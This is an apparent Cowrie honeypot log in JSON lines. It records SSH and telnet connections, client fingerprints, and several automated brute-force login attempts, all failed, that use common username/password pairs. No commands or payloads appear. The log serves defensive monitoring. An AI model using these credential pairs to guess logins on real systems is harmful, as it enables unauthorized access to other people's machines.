dh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:33.395651Z","src_ip":"205.254.166.101","session":"0c713fe110e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55216,"dst_ip":"10.17.0.5","dst_port":22,"session":"64bdc2e71d6c","protocol":"ssh","message":"New connection: 176.65.132.254:55216 (10.17.0.5:22) [session: 64bdc2e71d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:34.227493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:34.232378Z","src_ip":"176.65.132.254","session":"64bdc2e71d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"321dsa","message":"login attempt [ubuntu/321dsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:34.252913Z","src_ip":"205.254.166.101","session":"0c713fe110e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:34.314362Z","src_ip":"176.65.132.254","session":"64bdc2e71d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:34.573061Z","src_ip":"176.65.132.254","session":"64bdc2e71d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:35.463602Z","src_ip":"205.254.166.101","session":"0c713fe110e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:35.692223Z","src_ip":"176.65.132.254","session":"64bdc2e71d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55232,"dst_ip":"10.17.0.5","dst_port":22,"session":"16a29ffa473a","protocol":"ssh","message":"New connection: 176.65.132.254:55232 (10.17.0.5:22) [session: 16a29ffa473a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:38.251302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:38.257365Z","src_ip":"176.65.132.254","session":"16a29ffa473a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:38.340952Z","src_ip":"176.65.132.254","session":"16a29ffa473a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:38.588213Z","src_ip":"176.65.132.254","session":"16a29ffa473a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:39.673002Z","src_ip":"176.65.132.254","session":"16a29ffa473a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42436,"dst_ip":"10.17.0.5","dst_port":22,"session":"be9ccdb5e74d","protocol":"ssh","message":"New connection: 176.65.132.254:42436 (10.17.0.5:22) [session: be9ccdb5e74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:42.159945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:42.164295Z","src_ip":"176.65.132.254","session":"be9ccdb5e74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:42.249288Z","src_ip":"176.65.132.254","session":"be9ccdb5e74d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:42.538860Z","src_ip":"176.65.132.254","session":"be9ccdb5e74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:43.624200Z","src_ip":"176.65.132.254","session":"be9ccdb5e74d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59318,"dst_ip":"159.203.135.109","dst_port":23,"session":"03e82f7a2e0a","protocol":"telnet","message":"New connection: 134.209.8.29:59318 (159.203.135.109:23) [session: 03e82f7a2e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:44.490717Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59332,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae08dfca4114","protocol":"telnet","message":"New connection: 134.209.8.29:59332 (159.203.135.109:23) [session: ae08dfca4114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:45.915558Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59340,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0840ba794a6","protocol":"telnet","message":"New connection: 134.209.8.29:59340 (159.203.135.109:23) [session: b0840ba794a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:46.220708Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42458,"dst_ip":"10.17.0.5","dst_port":22,"session":"665589936f5d","protocol":"ssh","message":"New connection: 176.65.132.254:42458 (10.17.0.5:22) [session: 665589936f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:47.272257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:47.346252Z","src_ip":"176.65.132.254","session":"665589936f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:47.373111Z","src_ip":"176.65.132.254","session":"665589936f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:47.980927Z","src_ip":"176.65.132.254","session":"665589936f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.104201793670654,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:48.594783Z","src_ip":"134.209.8.29","session":"03e82f7a2e0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:49.065586Z","src_ip":"176.65.132.254","session":"665589936f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59356,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f63e8cb7ec2","protocol":"telnet","message":"New connection: 134.209.8.29:59356 (159.203.135.109:23) [session: 2f63e8cb7ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:49.148402Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42498,"dst_ip":"10.17.0.5","dst_port":22,"session":"46d680e99a91","protocol":"ssh","message":"New connection: 176.65.132.254:42498 (10.17.0.5:22) [session: 46d680e99a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:50.253215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:50.259153Z","src_ip":"176.65.132.254","session":"46d680e99a91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:50.342453Z","src_ip":"176.65.132.254","session":"46d680e99a91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:50.591336Z","src_ip":"176.65.132.254","session":"46d680e99a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:51.676553Z","src_ip":"176.65.132.254","session":"46d680e99a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.86285734176636,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:52.750571Z","src_ip":"38.54.119.93","session":"6ace5ffc2c2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35282,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c5214595936","protocol":"ssh","message":"New connection: 176.65.132.254:35282 (10.17.0.5:22) [session: 5c5214595936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:54.087434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:54.100397Z","src_ip":"176.65.132.254","session":"5c5214595936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34134,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a811d951de0","protocol":"telnet","message":"New connection: 134.209.8.29:34134 (159.203.135.109:23) [session: 2a811d951de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:54.124051Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:54.192462Z","src_ip":"176.65.132.254","session":"5c5214595936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:54.658398Z","src_ip":"176.65.132.254","session":"5c5214595936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:55.757719Z","src_ip":"176.65.132.254","session":"5c5214595936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.712566375732422,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:55.933156Z","src_ip":"134.209.8.29","session":"b0840ba794a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35286,"dst_ip":"10.17.0.5","dst_port":22,"session":"f48879e9db92","protocol":"ssh","message":"New connection: 176.65.132.254:35286 (10.17.0.5:22) [session: f48879e9db92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:58.139652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:58.145412Z","src_ip":"176.65.132.254","session":"f48879e9db92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:58.240311Z","src_ip":"176.65.132.254","session":"f48879e9db92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:58.504118Z","src_ip":"176.65.132.254","session":"f48879e9db92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34138,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d26237d8042","protocol":"telnet","message":"New connection: 134.209.8.29:34138 (159.203.135.109:23) [session: 9d26237d8042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:58.514006Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:59.589698Z","src_ip":"176.65.132.254","session":"f48879e9db92","protocol":"ssh"}
